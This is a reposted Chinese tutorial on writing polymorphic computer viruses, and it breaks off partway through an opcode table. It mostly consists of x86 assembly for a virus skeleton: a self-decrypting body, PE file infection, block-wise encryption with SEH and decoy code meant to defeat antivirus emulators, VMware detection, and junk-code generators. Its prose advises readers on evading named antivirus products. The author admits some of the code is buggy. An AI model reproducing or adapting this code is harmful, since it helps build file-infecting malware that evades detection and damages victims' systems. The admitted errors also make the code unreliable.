[转载]计算机病毒理论变形学
文章作者: vxk序
"No matter death or live,I would be on your sides forever."
——James·Raynor
在很久很久以前,在遥远遥远的星系中,我想写一篇关于变形的纯理论的
文章,于是随着时间的推移,终于这篇文章诞生了......
一.变形学的基础伦理
(一).做Poly的条件
"To Poly or not to Poly,it is a problem for a vxer."
——Vxk
是否想要做Poly,一要看Vxer的想法,而是必要性——if vxer 一定要poly,
那么有没有必要就不重要了,不过如果有如下其中一种情况则非做poly不可。
1.你借用了大量他人的代码,其中一些代码很出名!(那样的话,AVer会很快
找到查杀方法)
2.你的病毒在编译时就被NAV提醒有问题。
3.你的病毒在测试时被金山报警(被瑞星报警的polyVirus也很多,所以暂时
不管他),这样的病毒最好重写。
4.你的病毒过分简单::搜索磁盘文件+感染+PayLoad:uses MessageBoxA(
太没咬头了,Aver会在半小时内XX掉它)。
5.你的病毒出奇的巨型:这样大也就不在乎再大一点了(AVer会很注意这样东西)。
6.你的病毒要潜伏一个星期!!!(一般没Poly的Virus,Aver一个小时就会XX
掉了——一个星期别开了)。
好了暂时就这些了,你的病毒如果没上面的问题——奇怪了,你用的是Ring0Virus
Tech?
hehe,我需要讲一下哪几种情况千万不要Poly::
1.Ring0病毒::用Poly会发生一些可爱的错误,除非你对ring0十分了解。
2.试验型病毒::你只是要实验新技术,没必要用poly,那样会影响实验的。
3.礼物型病毒::你想让你的朋友痛苦吗?那就用Poly吧(你的朋友是AVER,
那就用,看看他的水平如何?)
OK,这就是Poly的条件了。
下面,我们要看看Poly的等级划分了。
(二)给poly打分的计算方法
"It is hard for an aver to recode and kill an eight-level-mark poly virus."
——Vxk
通常拿到一个Virus放进VM,得到反汇编的代码——如果有poly,(AVERZ)我们会给
poly打分。打分是一种划分poly等级的通用方法::
开始计分为:0分
打分标准::
1.有多随机种子选取系统,+0.5分(以下就不写分字了)
2.有随机寄存器和加密算法选取(注意是选取),+0.5
3.有随机垃圾代码生成,+0.5
4.有加密算法自生成,+0.5
5.生成加密算法大小大于0.5KB,+0.5
6.能随机插入抗静态反汇编代码,+0.5
7.能调整非加解密部分的代码所用寄存器的,+0.5
8.能对Poly Engine部分的代码可进行部分代码称块状的随机加密变形,+0.5
9.能够进行代码压缩的,+0.5
10.压缩使用多种算法随机选取,+0.5
11.能进行分块时代码压缩,+0.5
12.能对全部代码实现分块式随机加密变形,+0.5
13.具有多poly的多层壳结构块式变形能力,+1
14.具有遗传演化变形能力,+1
15.使用64位指令系统,如SSE,MMX,3d!now等等,+1
16.使用抗VM分析的特殊代码,+1
总共10分,能够取得5-6分就是不错的polyVirus了(什么得了10分?你写的!?救护车!!)
OK.在此基础上,我们来划分poly的种类
分值 0 1.5 2 3 4 4.5 5 6 7 8 9 10
等级 -1 0 1 1.5 2 3 4.5 5 5.5 6 7 8
产生概率 100% 95% 90% 87% 80% 80% 76.5% 45% 21.35% 12.1% 2% 0.001%
注释::
等级按破除病毒所需的时间而算::
设Xl为等级,VMp为VM的效率
TK为解除时间(小时) ,代码编写效率为pC
CAV为协同工作AVer数量(通常为一)
TK=(2.4*ABS(XL)/CAV+2.5+ABS(XL)/VMp)/pC
生产概率按每一百职业VXERZ算。
(三)写poly的一些基础准备
"No matter knowing or unkowning,I will tell you the way there"
——Zetarul
如何去写一个Poly是一个很重要的问题,通常写Poly之前都要有几个准
备工作::
1.一本Intel i386 的手册,一本AMD手册
2.x86汇编手册(如果你对ASM了如指掌,就免了)
3.Poly的等级定位,如同做游戏一样,你不能一开始就写一个StartCraft
出来。所以建议定位到3-4.5就行了。(8!?你发疯了??)
OK,现在给出一个PolyVirus的构架,下一章我们将讲Poly的一些技术问题
;引自pkxp的贴子
1. 定位
Call Delta
Delta:
pop ebp
sub ebp,offset Delta
mov dword ptr [ebp+appBase],ebp
2. 解密代码
lea edi , [ebx + offset EncryptStart]
mov ecx , VEnd - EncryptStart
DecryptLoop:
xor byte ptr [edi] , 00h
key=byte ptr $-1
inc edi
loop DecryptLoop
EncryptStart:
call GetKBase ;得到hKernel
call GetAPIz ;得到api地址
2. 感染一个文件
1)分析合法性
2)添加一个节
3)这里不能直接写入病毒代码,要如下工作:
a. pMem=VirtualAlloc(VEnd-VStart...)
b. mov esi,offset VStart
mov edi,pMem
mov ecx,VEnd-VStart
rep movsb ;移动病毒代码到新开辟区
eax = pMem + (Key-VStart)
mov eax,11h ;key=11h
esi = pMem + (EncryptStart-VStart)
edi = esi
;下面循环
loadsb
xor al,11h ;key
stosb
c. WriteFile(pMem...VEnd-VStart)
此时写入的是加密代码。
二。Poly的实际编写时遇到的问题的解决方法与方案
(一)插入一段代码的方法
"En Taro Adun,thanx to the AuirSha.You're alive now."
——Vxk
有上可以看到Poly的关键是插入解密代码(变形恢复?不必要吧)
那么要如何才能插入一段代码呢?现在让我来告诉你们::主要用到两
个指令Movsy和Stosy(y=b/w)
看看这个代码::
CLD;调整地址,很重要,有时不必要写这个
lea edi,[ebp+offset Decry]
;将Decry的地址装入edi
mov eax,0h
mov ecx,[ebp+Decry_len];装入DEcry的大小
rep stosy
;清空Decry的内容
;这是为了重新写入新的代码
lea edi,[ebp+offset Decry]
mov esi,NewDeCry_addr
mov ecx,DEcry_len
rep movsy
;不用讲了吧
这段代码将定长的DEcry清除,写入新的Decry,不过有些缺点::
只适合预先留好空隙的Virus,just
like this code
VStart:
Call gdelta
@I0 MAX_Length dup (90h)
gdelta:
pop ebp
lea ebp,[ebp-offset gdelta]
@I1 256 dup (90h)
V_Real:
@I2 Max_length dup (90h)
这样一堆一堆的Nop看的就不舒服,而且AVER只要在特定位置XX你的DEcry就OK了。
那么怎样改进呢?
hh~~,这个简单你难道不知道吗?看下一段吧。
(二)代码整合的问题的解决方法
"Benny,I think it very hard for me to anti your code."
——Vxk
上回说到Poly的代码不留空隙的解决方法,这个确实是一个难题
很少有人真的想过,不过你看过Virus的代码吧?知道非EPO的Virus返
回时的方法吧???什么太古老不记得了?吐血了,没关系看下面的
这段代码,它是一个poly的部分代码::
;假设V_Data_Addr为加密后病毒代码的地址
;V_len为加密后病毒代码的大小
;CRY_len为DEcry代码的大小
;CRY_Data_Addr为DEcry代码的地址
; host_addr 为Host返回地址
Call DoPoly;调用加密变形模块
push PAGE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push V_len
push 0
Call dword ptr [ebp+_VirtualAlloc]
mov pMem, eax
mov edi , eax ;edi指向新开辟的内存
lea esi,[ebp+offset decry_Header]
mov ecx,decry_header_len
mov [ebp+Addr_R_cry],decry_header_len+1h
rep movsy
inc edi
mov esi,decry_data_addr
mov ecx,decry_len
mov [ebp+Addr_V_begin],edi+decry_len+1h
rep movsy
inc edi
mov esi,v_data_addr
mov ecx,v_len
mov [ebp+Host_op],host_addr
rep movsy
mov eax,decry_header_len
add eax,1h
add eax,decry_len
add eax,1h
add eax,v_len
mov [ebp+V_To_Write_len],eax;重新计算病毒大小
Call WriteVirusBack;返回去写文件
ret
Decry_header:
pushad
Call header_delta
header_delta:
pop ebp
lea ebp,[ebp-offset header_delta]
mov eax,12345678h
addr_r_cry=$-4
jmp short eax
decry_header_end:
decry_len equ decry_header_end-decry_header
;在生成Decry代码时必须加入的代码
Decry_Begin:
mov eax,12345678h
addr_v_begin=$-4
mov [ebp+Virus_addr],eax
;剩下的相信你会做的
这是一个解决的方法,虽然不是最好的方法,不过已经可以适用于我们的poly了。
(三)动态代码生成技术中的难题
"Active on time, it is a great problem for a virus coder."
——Jhon.A
难点主要有代码大小的计算和代码生成两个部分::
这里就不再写代码来描述解决方案了,主要就是两个字::手册,你想写得绝妙,
就把一本intel i386指令集手册的机器码及大小写进去吧...目前还没有好方法。
(四)一些深入的技术难题
1.压缩
2.指令分析
3.分块技术
4.遗传变异::这个涉及到Debugger和即时反汇编技术(分析别的病毒获得新的东西,吐血!)
5.抗VM分析::这个还是给出来吧...
mov ecx, 0Ah ; CX=function# (0Ah=get_version)
mov eax, 'VMXh' ; EAX=magic
mov dx, 'VX' ; DX=magic
in eax, dx ; specially processed io cmd
; output: EAX/EBX/ECX = data
cmp ebx, 'VMXh' ; also eax/ecx modified (maybe vmw/os ver?)
je under_VMware
前四个将在以后的理论变形学里讲解。
"Let's have a rest now."
——Vxk
SEE YOU NEXT TIME.
下一次的内容介绍::
1.随机数的生成
2.如何分块?
3,4,5::未定.. 信息来源:CVC
//这一讲里的代码存在错误(高低位搞错了),我本来想修正的,不过代码太大了...大家自己修正一下吧.
第二讲:
("这一讲的代码量很多..")
"我还是喜欢写代码,不是讲理论..."
——Vxk
一.随机数的生成
我想大家一定知道随机数的生成对poly的随机生成代码,选择寄存器,分块选择等
功能起着决定性。于是选择一个好的随机数算法是非常重要的事情,现在让我们看一下
一些随机数的生成算法::
A.最常见的随机算法::
[code];选自Pkxp的win32.simplypoly.19xx
;不是很好的算法...过分简单
Random PROC Seed: DWORD ;返回值在eax中。
mov eax , 12345678h
_GetTickCount = dword ptr $-4
call eax
xor edx , edx
div Seed
xchg edx , eax ;需要的是余数,在edx中。
ret 4
Random ENDP
;样例::
push 4
Call Random[/code]
B.常用的算法::
[code]
;选自win32.XXX.16xx by Benny.
Randomize proc
pushad
_rnd_:dw 310fh;这里用了一个intel pentium 上出现的指令::0f 31 RDTSC
db (Max_path-2) dup (90h) ;using the intel asmcode to produce a seed rnd num
add eax,edx
mov [ebp+_Seed],eax
popad
retn
Randomize Endp
RandNum Proc
pushad
push eax
push edx
mov eax,[ebp+_Seed]
mov ecx,41c64e6dh;小m数列
mul ecx
add eax,3039h;修正
mov [ebp+_Seed],eax
xor edx,edx
div dword ptr [esp+0ch];取参数,别说你不会用esp
xchg eax,edx
add [ebp+_Seed],eax
pop edx
pop eax
popad
ret 4
RandNum Endp
;样例::
Call Randomize
push 4f;参数
Call RandNum[/code]
C.最NX的算法::
[code];选自??,好像还没有人用这种算法做poly Engine.
; 即将出现在我的Poly Engine ::Vxk's Death Engine.
;
MCoef_32_0 DD E7BD2160H
MCoef_32_1 DD DA3A2A9CH
// 两个小m序列系数
m_Seq_32_m proc dwMset:DWORD,dwKey:DWORD,nNumber:DWORD,pdwRandom:DWORD
; dwMset: 随机发生器所使用的小m序列
; dwKey: 随机数种子
; nNumber: 产生的随机序列长度(以DWORD为单位)
; pdwRandom: 指向随机数存储空间的指针
CLD
MOV EDI,pdwRandom;
MOV ECX,nNumber;
MOV ESI,dwMset;
MOV EAX,dwKey;
ALIGN 4; what it is?
LOOP_CIRCLE1:
PUSH ECX
MOV ECX,32
LOOP_CIRCLE2:
MOV EBX,EAX;
SHL EAX,1
AND EBX,ESI;select the bit for xor
MOV EDX,EBX;
BSWAP EBX;
XOR BX,DX;
XOR BH,BL; because P only judge one byte
;so must XOR to judge the p of whole word
JP NEXT ;jp equals the xor
INC EAX
NEXT: DEC ecx
JNZ LOOP_CIRCLE2
POP ECX
STOSD
DEC ECX
JNZ LOOP_CIRCLE1
mov edx,eax
m_Seq_32_m ENDP
RandomGenerator proc Buffer:DWORD,nlength:DWORD
; 产生长度为nLength字节的随机数
; Buffer: 指向随机数存放区域的指针
; nLength: 产生随机数数量
LOCAL A:DWORD;
B 4 DUP(0)
RDTSC
MOV A,EAX
CALL m_Seq_32_m,[EBP+MCoef_32_0],A,nLength/4,Buffer
mov edx,nLength
div edx,4h
mov eax,edx
mul eax,4h
cmp eax,nLength
jnz FV
FV:
CALL m_Seq_32_m,[EBP+MCoef_32_1],A,1,[EBP+B]
lea esi,[ebp+offset B]
lea edi,[offset Buffer+(nlength/4)*4]
mov ecx,edx
rep movsb
ret
RandomGenerator ENDP
;样例::
;调用A的Random
push 12dfeabh
Call Random
mov [ebp+myseed],eax
;调用B的Randomize和RandNum
Call Randomize
push [ebp+myseed]
Call RandNum
;调用我们的RandmGenerator
push [ebp+_Seed]
push [ebp+myKey]
Call RandomGenerator[/code]
至此我们对随机数有了一个基本的了解,XX~~以后还会再次提到随机的问题...
二.Blocks codes Poly的理论实现
(一).如何分块?
"I would like to fight against the enemies,not to stay at the Nexu's Talbe."
—— Astraint
现在我们来思考这个问题,OK_你有想法了?好大家一起来看一个BlocksPolyVirus(没有使用
整合技术的)的构架代码
::
[code]
Vstart:
pushad;保存入口信息。。
@SEH_SetupFrame <jmp Vstart2>
@I0:db 32*2 DUP (90h)
;32*2大的乱码,可以引发错误...
@I1:db 1024*4 dup (90H)
;这放4KB大(部分AVSoft的VM极限)的正常代码::非病毒代码,可以是一段经典的算法程序
Vstart3: . |
. |
. |
. |——这里放一段正常的代码(注意是正常代码!)
. |
. |
Vstart3_end:
int 3;引发异常
Vstart3_len equ Vstart3_end-Vstart3
Vstart2:
@RemoveSEHFrame
Call Gdelta
Gdelta:
pop ebp
lea ebp,[ebp-offset Gdelta]
@SEH_SetupFrame <jmp @MainDecry>
Vstart4:
;又是正常代码
;可怜的AVSoft
Vstart4_end:
xor eax,eax
Call eax;引发异常
@MainDecry:
@De_RStart :db 32*2 Dup (90H)
;足够让人吐血
RStart:
@RemoveSEHFrame
@Seh_setupframe <jmp end_virus>
Call Check_Nt
Check_Nt:
@De_CheckNt: db 32*2 DUP (90h)
;每一个Blocks of code都有自己的Decry
CheckNt:
movebp,[esp+4];EBP = delta offset
movedx,cs
xordl,dl
jnz 9x_part;是Win9x/me就转到9x_part去
Call NT_Start
Check_Nt_end:
@I2:db 32 Dup (90h)
;乱码!!
CheckNT_len equ $-CheckNT
9x_part:
@De_9xpart:db 32*2 DUP (90h)
9xpart:
;在9x下的事情
9x_part_end:
@I3:db 32 Dup (90h)
;乱码
9x_part_len equ $-9xpart
NT_Start:
@De_NTStart:db 32*2 Dup (90h)
NTStart:
;做NT下的事情
NT_Start_end:
@I4:db 32 Dup (90h)
;乱码
NT_Start_len equ $-NTStart
......;省略类似的代码N行
;我们的重点在这里
...
;这里是关于Block的结构定义
MyBlock Struc
Block_addr dd 0;块的地址
Block_len dd 0;块的大小
Block_num dd 0;块的号码
Block_de_addr dd 0;De_**的地址
MyBlock Ends
ReadyTheBlocks:
@De_Blocks:db 32*2 Dup (90h)
ToReadyThePoly_ip:
;在这里我们准备Poly的Blocks的数据,这些代码很简单..
pushad
lea eax,[ebp+offset Rstart]
mov dword ptr [ebp+RstartBlock].Block_addr,eax
mov dword ptr [ebp+RstartBlock].Block_len, [ebp+offset (Check_NT-Rstart)]
mov dword ptr [ebp+RstartBlock].Block_num,0
lea eax,[ebp+offset @MainDecry]
mov dword ptr [ebp+RstartBlock].Block_de_addr,eax
@I16: db 32 Dup (90h)
;一些正常的代码
Lea eax,[ebp+offset CheckNt]
mov dword ptr [ebp+CheckNtBK].Block_addr,eax
mov dword ptr [ebp+CheckNtBK].Block_len,[ebp+CheckNT_len]
mov dword ptr [ebp+CheckNtBK].Block_num,1
lea eax,[ebp+offset @De_ChackNT]
mov dword ptr [ebp+CheckNtBK].Block_de_addr,eax
@I17: db 32 Dup (90h)
;一些正常的代码
Lea eax,[ebp+offset 9xpart]
mov dword ptr [ebp+9xpartBK].Block_addr,eax
mov dword ptr [ebp+9xpartBK].Block_len,[ebp+9x_part_len]
mov dword ptr [ebp+9xpartBK].Block_num,2
lea eax,[ebp+offset @De_9xpart]
mov dword ptr [ebp+9xpartBK].Block_de_addr,eax
@I18:db 32 Dup (90h)
;一些正常的代码
Lea eax,[ebp+offset NTStart]
mov dword ptr [ebp+NTStartBK].Block_addr,eax
mov dword ptr [ebp+NTStartBK].Block_len,[ebp+Nt_part_len]
mov dword ptr [ebp+NTStartBK].Block_num,3
lea eax,[ebp+offset @De_NTStart]
mov dword ptr [ebp+NTStartBK].Block_de_addr,eax
;其他装配代码省略...
;......
;装配Num编码系统
lea eax,dword ptr [ebp+CheckNTBK]
mov dword ptr [ebp+Num1],eax
lea eax,dword ptr [ebp+9xpartBK]
mov dword ptr [ebp+Num2],eax
lea eax,dword ptr [ebp+NTStartBK]
mov dword ptr [ebp+Num3],eax
;....继续装配
;......
popad
ret
;现在让我们深入的研究Poly的
;in eax==The MapViewFile handle
BlocksPolyMorph:
@De_BPM:db 32*2 Dup (90h)
BlocksPolyMorph_r:
pushad
lea esi,[ebp+offset @De_BMP]
mov eax,0h
mov ecx,[ebp+offset (BlocksPolyMorph_r-@De_BMP)]
rep stosb
Call CreateARandomizeNum
;产生一个小于6的整数
;存入EAX中.这是要Poly的Blocks数
mov [ebp+RND_Num],eax
mov ebx,eax
Call CreateNewPageHandle;创建新的内存空间,大小为::(VStart_End-VStart)+32*4
;句柄存于EAX
mov [ebp+HpMem],eax
mov eax,[ebp+RND_Num]
Call MoveAllDataToNewPage ;所有的数据移入HpMem指向的内存
Call ChoiseBlock
ChoiseBlock:
push eax
Call ARndBlockNum
;生成一个Block的Num号,存入EAX中
;根据号码选择Block的结构...
mov ebx,dword ptr [ebp+Num&eax]
Call BlockPoly;Block的poly Engine
pop eax
sub eax,1h
mov [ebp+RND_Num],eax
test eax,eax
jnz ChoiseBlock
jmp End_polyBlocks
MoveAllDataToNewPage:
push edi
push esi
push ecx
mov edi,[ebp+HpMem]
lea esi,[ebp+offset Vstart]
mov ecx,[ebp+offset (Vstart_End-Vstart+3)/4]
rep movsb
pop ecx
pop esi
pop edi
ret
;in ebx==Addr of the Blocks page
BlockPoly:
;在这里很多东西和普通Poly一样
;除了代码整合部分的特殊化...
;我们将在下面讲述整合的新方法
;......
;......[/code]
(二).新的代码整合技术描述
"In the post of wars,you do not have time to think weather killing is good or not for that
you would not have life again..."
——Fenix
我们在上面研究了分块的方法,现在我们该研究一下新的整合代码方法...如果你很有心的留意
汇编的编写方法,有会很快发现这并不难,不过还是要讲的::
[code];首先让我们回想一下上一讲的方法...
;好了现在开始了
;假定生成的poly的添加代码部分名称为::AddCodeTo
AddCodeTo:
;EBX==The Addr of Blocks Struc
mov eax,ebx
assume eax:ptr MyBlock
mov edi,[ebp+HpMem]
lea ebx,[ebp+offset Vstart]
mov edx,00h
add edx,dword ptr [eax].Block_addr
sub edx,ebx
add edi,edx
;计算出Block在Page中的位置
push eax
Call MakeItCry;对Blocks加密
pop eax
mov edi,[ebp+HpMem]
lea ebx,[ebp+offset Vstart]
mov edx,00h
add edx,dword ptr [eax].Block_de_addr
sub edx,ebx
add edi,edx
;计算出DECry的位置
mov esi,[ebp+NewDeCry_addr]
mov ecx,[ebp+(NewDecry_len)/4]
rep movsd
;填写NewDecry的代码
;.....[/code]
到这里相信你已经了解了Poly的分块实现全部技术关键了,下面我们将深入的分析代码的生成...
三.Poly中的代码生成的实现方法
"生命在于变化..."
(一).干扰代码的生成
"June Me,sir"
——Sv/Ter13x(i do not what group is named ter13x.)
June Code是Poly的精华之处,是poly的完美之处,是我们做poly的精要之处...
(略去几万字的废话)
好了我们现在开始思考这个问题,首先关于June Code的选择方法?
我觉得June Code的选择应该很容易::
下面是几个方案::::
方案A,代码选择法::我们必须有一个JuneCode_table,这样采用Simplepoly的方
法即可生成*个June code了,不过方案过于简单
方案B,代码生成法::我们必须了解Opcode和指令格式,然后...但是实现代码过长
这里只做简单的描述代码
方案C,代码重编译法::我觉得生成汇编指令串::如::'Mov eax,edx'之类的代码
比较简单,只是需要写一个汇编引擎,很复杂...不过在Mute中我们还会再一次
使用汇编引擎,所以写一个引擎不是什么损失。
方案代码::
方案A::
[code];引自Pkxp的Simplepoly
SelectOpcodes:
push 5
pop ecx ;每次写6个bytes,循环5次=30d.
@SOStart:
push 20d
call Random
.IF AL < 4d
call @SelectOpcode_6B ;选择个6字节代码插入
.ELSEIF AL < 8d
call @SelectOpcode_1B ;1个字节
call @SelectOpcode_5B ;5个字节,下同
.ELSEIF AL < 12d
call @SelectOpcode_5B
call @SelectOpcode_1B
.ELSEIF AL < 14d
call @SelectOpcode_2B
call @SelectOpcode_2B
call @SelectOpcode_2B
.ELSEIF AL < 17d
call @SelectOpcode_2B
call @SelectOpcode_1B
call @SelectOpcode_2B
call @SelectOpcode_1B
.ELSE
call @SelectOpcode_1B
call @SelectOpcode_2B
call @SelectOpcode_2B
call @SelectOpcode_1B
.ENDIF
LOOP @SOStart
ret
;**************************************************************
@6Bytes:
db 081h, 0C2h ;add edx
db 081h, 0C6h ;add esi
db 081h, 0EAh ;sub edx
db 081h, 0EEh ;sub esi
db 081h, 0F2h ;xor edx
db 081h, 0F6h ;xor esi
db 069h, 0C0h ;imul eax
db 069h, 0D2h ;imul edx
db 069h, 0F6h ;imul esi
db 081h, 0E2h ;and edx
db 081h, 0E6h ;and esi
db 081h, 0CAh ;or edx
db 081h, 0CEh ;or esi
@SelectOpcode_6B:
push ($ - @6Bytes)/2
call Random
lea esi , [ebx + offset @6Bytes + eax*2]
movsw
stosd ;把eax中随即数写入
ret
@5Bytes:
db 0B8h ;mov eax
db 0BAh ;mov edx
db 0BEh ;mov esi
db 005h ;add eax
db 02Dh ;sub eax
db 035h ;xor eax
db 025h ;and eax
db 0D7h ;or eax
@SelectOpcode_5B:
push ($ - @5Bytes)
call Random
lea esi, [ebx + offset @5Bytes + eax]
movsb
stosd
ret
@2Bytes:
db 001h, 0C0h ;add eax, eax
db 031h, 0C0h ;xor eax, eax
db 001h, 0D2h ;add edx, edx
db 031h, 0D2h ;xor edx, edx
db 001h, 0D0h ;add eax, edx
db 031h, 0D0h ;xor eax, edx
db 031h, 0C2h ;xor edx, eax
db 001h, 0F6h ;add esi, esi
db 031h, 0F6h ;xor esi, esi
@SelectOpcode_2B:
push ($ - @2Bytes)/2
call Random
lea esi, [ebx + offset @2Bytes + eax*2]
movsw
ret
@1Byte:
db 046h ;inc esi
db 04Eh ;dec esi
db 040h ;inc edx
db 042h ;inc eax
db 04Ah ;dec edx
db 048h ;dec eax
db 092h ;xchg edx, eax
db 096h ;xchg esi, eax
@SelectOpcode_1B:
push ($ - @1Byte)
call Random
lea esi, [ebx + offset @1Byte + eax]
movsb
ret[/code]
方案B:
;我自己写的可能有错误。
;还存有优化的余地..
[code]Asm_Table_Begin:
;+------------+-------------+----------+ +------------+-------------+----------+
;| Assembleur | Hex | Binaire | | Assembleur | Hex | Binaire |
;+------------+-------------+----------+ +------------+-------------+----------+
;| push eax | 50 | 01010000 | | pop eax | 58 | 01011000 |
;+------------+-------------+----------+ +------------+-------------+----------+
;| push ebx | 53 | 01010011 | | pop ebx | 5B | 01011011 |
;+------------+-------------+----------+ +------------+-------------+----------+
;| push ecx | 51 | 01010001 | | pop ecx | 59 | 01011001 |
;+------------+-------------+----------+ +------------+-------------+----------+
;| push edx | 52 | 01010001 | | pop edx | 5A | 01011010 |
;+------------+-------------+----------+ +------------+-------------+----------+
;| push esi | 56 | 01010110 | | pop esi | 5E | 01011110 |
;+------------+-------------+----------+ +------------+-------------+----------+
;| push edi | 57 | 01010111 | | pop edi | 5F | 01011111 |
;+------------+-------------+----------+ +------------+-------------+----------+
;| push ebp | 55 | 01010101 | | pop ebp | 5D | 01011101 |
;+------------+-------------+----------+ +------------+-------------+----------+
;| push esp | 54 | 01010100 | | pop esp | 5C | 01011100 |
;+------------+-------------+----------+ +------------+-------------+----------+
;| pusha | 60 | 01100000 | | popa | 61 | 01100001 |
;+------------+-------------+----------+ +------------+-------------+----------+
;| pushf | 9C | 10011100 | | popf | 9D | 10011101 |
;+------------+-------------+----------+ +------------+-------------+----------+
Asm_pop_table:
db 9Dh
db 61h
db 5Ch
db 5Dh
db 5Fh
db 5eh
db 5ah
db 59h
db 5bh
db 58h
Asm_pop_table_end:
Asm_push_table:
db 9Ch
db 90h
db 54h
db 55h
db 57h
db 56h
db 52h
db 51h
db 53h
db 50h
Asm_push_table_end:
Asm_xxxreg1reg2_table:
db 8BH,C0H ;我们在添入reg时使用::add al,regx
db 8BH,D8h ;regx=0XXX0000b=X0h
db 8Bh,8Ch
db 8Bh,0Dh
db 8Bh,0Dh
db 8Bh,8Fh
;db FFh,30h
db 33h,C0h
db 33h,D8h
db 33h,C8h
db 33h,D0h
db 33h,F0h
db 33h,F8h
db 85h,C0h
db 85h,D8H
db 85h,C8H
db 85h,D0H
db 85h,F0H
db 85h,F8H
db 03h,C0h
db 03h,D8h
db 03h,C8h
db 03h,D0h
db 03h,F0h
db 03h,F8h;03C0
db 2Bh,C0h
db 2Bh,D8h
db 2Bh,C8h
db 2Bh,D0h
db 2Bh,F0h
db 2Bh,F1h
db 3Bh,C0h
db 3Bh,D8h
db 3Bh,C8h
db 3Bh,D0h
db 3Bh,F0h
db 3Bh,F8h
db 8Bh,00h
db 8Bh,18h
db 8Bh,08H
db 8Bh,10H
db 8Bh,30H
db 8Bh,38H
db 0Bh,C0H
db 0Bh,D8H
db 0Bh,C8H
db 0Bh,D0H
db 0Bh,F0H
db 0Bh,F8H
Asm_xxxreg1reg2_end:
Asm_xxxregimm32_table1:
db B8h,00h,00h,00h,00h;我们加入Imm32时这样子::add eax,xxxxxxxxh
db BBh,00h,00h,00h,00h
db B9h,00h,00h,00h,00h
db BAh,00h,00h,00h,00h
db BEh,00h,00h,00h,00h
db BFh,00h,00h,00h,00h
;db 68h,00h,00h,00h,00h
db A9h,00h,00h,00h,00h
db 35h,00h,00h,00h,00h
db 05h,00h,00h,00h,00h
db 2Dh,00h,00h,00h,00h
db 3Dh,00h,00h,00h,00h
Asm_xxxregimm32_table2:
db F7h,C3h,00h,00h,00h,00h
db F7h,C1h,00h,00h,00h,00h
db F7h,C2h,00h,00h,00h,00h
db F7h,C6h,00h,00h,00h,00h
db F7h,C7h,00h,00h,00h,00h
db 81h,F3h,00h,00h,00h,00h
db 81h,F1h,00h,00h,00h,00h
db 81h,F2h,00h,00h,00h,00h
db 81h,F6h,00h,00h,00h,00h
db 81h,F7h,00h,00h,00h,00h
db 81h,C3h,00h,00h,00h,00h
db 81h,C1h,00h,00h,00h,00h
db 81h,C2h,00h,00h,00h,00h
db 81h,C6h,00h,00h,00h,00h
db 81h,C7h,00h,00h,00h,00h
db 81h,EBh,00h,00h,00h,00h
db 81h,E9h,00h,00h,00h,00h
db 81h,EAh,00h,00h,00h,00h
db 81h,EEh,00h,00h,00h,00h
db 81h,EFh,00h,00h,00h,00h
db 81h,FBh,00h,00h,00h,00h
db 81h,F9h,00h,00h,00h,00h
db 81h,FAh,00h,00h,00h,00h
db 81h,FEh,00h,00h,00h,00h
db 81h,FFh,00h,00h,00h,00h
Asm_xxxregimm32_end:
Asm_reg_table:
db 00h;eax
db 03h;ebx
db 01h;ecx
db 02h;edx
db 06h;esi
db 07h;edi
db 05h;ebp
db 04h;esp
Asm_reg_end:
;a) xchg eax, ebx --> 93h --> 1001 0011b
;b) xchg eax, ecx --> 91h --> 1001 0001b
;c) xchg eax, edx --> 92h --> 1001 0010b
;d) xchg eax, esi --> 96h --> 1001 0110b
;e) xchg eax, edi --> 97h --> 1001 0111b
;f) xchg ebx, ecx --> 87h D9h --> 10000111 11011001b
;g) xchg ebx, edx --> 87h DAh --> 10000111 11011010b
;h) xchg ebx, esi --> 87h DEh --> 10000111 11011110b
;i) xchg ebx, edi --> 87h DFh --> 10000111 11011111b
;j) xchg ecx, edx --> 87h CAh --> 10000111 11001010b
;k) xchg ecx, esi --> 87h CEh --> 10000111 11001110b
;l) xchg ecx, edi --> 87h CFh --> 10000111 11001111b
;m) xchg edx, esi --> 87h D6h --> 10000111 11010110b
;n) xchg edx, edi --> 87h D7h --> 10000111 11010111b
;o) xchg esi, edi --> 87h F7h --> 10000111 11110111b
Asm_Xchg_table1:
db 93h
db 91h
db 92h
db 96h
db 97h
Asm_Xchg_table2:
db 87h,D9h
db 87h,DAh
db 87h,DEh
db 87h,DFh
db 87h,CAh
db 87h,CEh
db 87h,CFh
db 87h,D6h
db 87h,D7h
db 87h,F7h
Asm_Xchg_end:
; - Mov [eax], reg1: 1000 1001 00xx x000b
; - reg1=ebx: xx x = 01 1
; - reg1=ecx: xx x = 00 1
; - reg1=edx: xx x = 01 0
; - reg1=esi: xx x = 11 0
; - reg1=edi: xx x = 11 1
;- Mov [ebx], reg1: 1000 1001 00xx x011b
; - reg1=eax: xx x = 00 0
; - reg1=ecx: xx x = 00 1
; - reg1=edx: xx x = 01 0
; - reg1=esi: xx x = 11 0
; - reg1=edi: xx x = 11 1
;- Mov [ecx], reg1: 1000 1001 00xx x001b
; - reg1=eax: xx x = 00 0
; - reg1=ebx: xx x = 01 1
; - reg1=edx: xx x = 01 0
; - reg1=esi: xx x = 11 0
; - reg1=edi: xx x = 11 1
;- Mov [edx], reg1: 1000 1001 00xx x010b
; - reg1=eax: xx x = 00 0
; - reg1=ebx: xx x = 01 1
; - reg1=ecx: xx x = 00 1
; - reg1=esi: xx x = 11 0
; - reg1=edi: xx x = 11 1
;- Mov [esi], reg1: 1000 1001 00xx x110b
; - reg1=eax: xx x = 00 0
; - reg1=ebx: xx x = 01 1
; - reg1=ecx: xx x = 00 1
; - reg1=edx: xx x = 01 0
; - reg1=edi: xx x = 11 1
;- Mov [edi], reg1: 1000 1001 00xx x111b
; - reg1=eax: xx x = 00 0
; - reg1=ebx: xx x = 01 1
; - reg1=ecx: xx x = 00 1
; - reg1=edx: xx x = 01 0
; - reg1=esi: xx x = 11 0
Asm_MovExReg1Reg2_table:
db 89h,00H
db 89h,03H
db 89h,01H
db 89h,02H
db 89h,06H
db 89h,07H
Asm_MovExReg1Reg2_end:
;- inc eax: 40h
;- inc ebx: 43h
;- inc ecx: 41h
;- inc edx: 42h
;- inc esi: 46h
;- inc edi: 47h
Asm_IncDec_table:
db 40h
db 43H
db 41h
db 42h
db 46h
db 47h
db 48h
db 4Bh
db 49h
db 4Ah
db 4Eh
db 4Fh
Asm_IncDec_end:
; - dec eax: 48h
; - dec ebx: 4Bh
; - dec ecx: 49h
; - dec edx: 4Ah
; - dec esi: 4Eh
; - dec edi: 4Fh
Asm_Jump_table1:
; a) JMP SHORT --> EBh data8
